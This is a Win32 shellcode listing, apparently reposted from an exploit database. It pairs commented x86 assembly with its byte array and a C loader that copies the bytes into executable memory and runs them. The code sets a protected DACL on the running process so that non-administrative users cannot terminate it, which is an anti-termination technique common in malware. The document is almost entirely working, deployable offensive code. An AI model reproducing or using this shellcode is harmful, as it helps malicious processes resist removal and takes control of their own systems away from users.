/* # Win32 - Protect Process Shellcode # Date: [17.02.2017] # Author: [Ege Balc─▒] # Tested on: [Win 7/8/8.1/10] This shellcode sets the SE_DACL_PROTECTED flag inside security descriptor structure, this will prevent the process being terminated by non administrative users. ----------------------------------------------------------------- [BITS 32] [ORG 0] ; EAX-> Return Values ; EBX-> Process Handle ; EBP-> API Block ; ESI-> Saved ESP pushad ; Save all registers to stack pushfd ; Save all flags to stack push esp ; Push the current esp value pop esi ; Save the current esp value to ecx cld ; Clear direction flags call Start %include "API-BLOCK.asm"; Stephen Fewer's hash API from metasploit project Start: pop ebp ; Pop the address of SFHA push 0x62C64749 ; hash(kernel32.dll, GetCurrentProcessId()) call ebp ; GetCurrentProcessId() push eax ; Process ID push 0x00000000 ; FALSE push 0x1F0FFF ; PROCESS_ALL_ACCESS push 0x50B695EE ; hash(kernel32.dll, OpenProcess) call ebp ; OpenProcess(PROCESS_ALL_ACCESS,FALSE,ECX) mov ebx, eax ; Move process handle to ebx push 0x00000000 ; 0,0 push 0x32336970 ; pi32 push 0x61766461 ; adva push esp ; Push the address of "advapi32" string push 0x0726774C ; hash(kernel32.dll, LoadLibraryA) call ebp ; LoadLibraryA("advapi32") push 0x00503a44 ; "D:P" sub esp,4 ; Push the address of "D:P" string to stack push 0x00000000 ; FALSE lea eax, [esp+4] ; Load the address of 4 byte buffer to EAX push eax ; Push the 4 byte buffer address push 0x00000001 ; SDDL_REVISION_1 lea eax, [esp+16] ; Load the address of "D:P" string to EAX push eax ; Push the EAX value push 0xDA6F639A ; hash(advapi32.dll, ConvertStringSecurityDescriptorToSecurityDescriptor) call ebp ; ConvertStringSecurityDescriptorToSecurityDescriptor("D:P",SDDL_REVISION_1,FALSE) push 0x00000004 ; DACL_SECURITY_INFORMATION push ebx ; Process Handle push 0xD63AF8DB ; hash(kernel32.dll, SetKernelObjectSecurity) call ebp ; SetKernelObjectSecurity(ProcessHandle,DACL_SECURITY_INFORMATION,SecurityDescriptor) mov esp,esi ; Restore the address of esp popad ; Popback all registers popfd ; Popback all flags ret ; Return */ //>Special thanks to Yusuf Arslan Polat ;D #include #include unsigned char Shellcode[] = { 0x60, 0x9c, 0x54, 0x5e, 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x49, 0x47, 0xc6, 0x62, 0xff, 0xd5, 0x50, 0x6a, 0x00, 0x68, 0xff, 0x0f, 0x1f, 0x00, 0x68, 0xee, 0x95, 0xb6, 0x50, 0xff, 0xd5, 0x89, 0xc3, 0x6a, 0x00, 0x68, 0x70, 0x69, 0x33, 0x32, 0x68, 0x61, 0x64, 0x76, 0x61, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x68, 0x44, 0x3a, 0x50, 0x00, 0x83, 0xec, 0x04, 0x6a, 0x00, 0x8d, 0x44, 0x24, 0x04, 0x50, 0x6a, 0x01, 0x8d, 0x44, 0x24, 0x10, 0x50, 0x68, 0x9a, 0x63, 0x6f, 0xda, 0xff, 0xd5, 0x6a, 0x04, 0x53, 0x68, 0xdb, 0xf8, 0x3a, 0xd6, 0xff, 0xd5, 0x89, 0xf4, 0x61, 0x9d, 0xc3 }; int main(int argc, char const *argv[]) { char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(BUFFER, Shellcode, sizeof(Shellcode)); (*(void(*)())BUFFER)(); printf("This process is protected !"); getchar(); return 0; } # Iranian Exploit DataBase = http://IeDb.Ir [2017-02-18]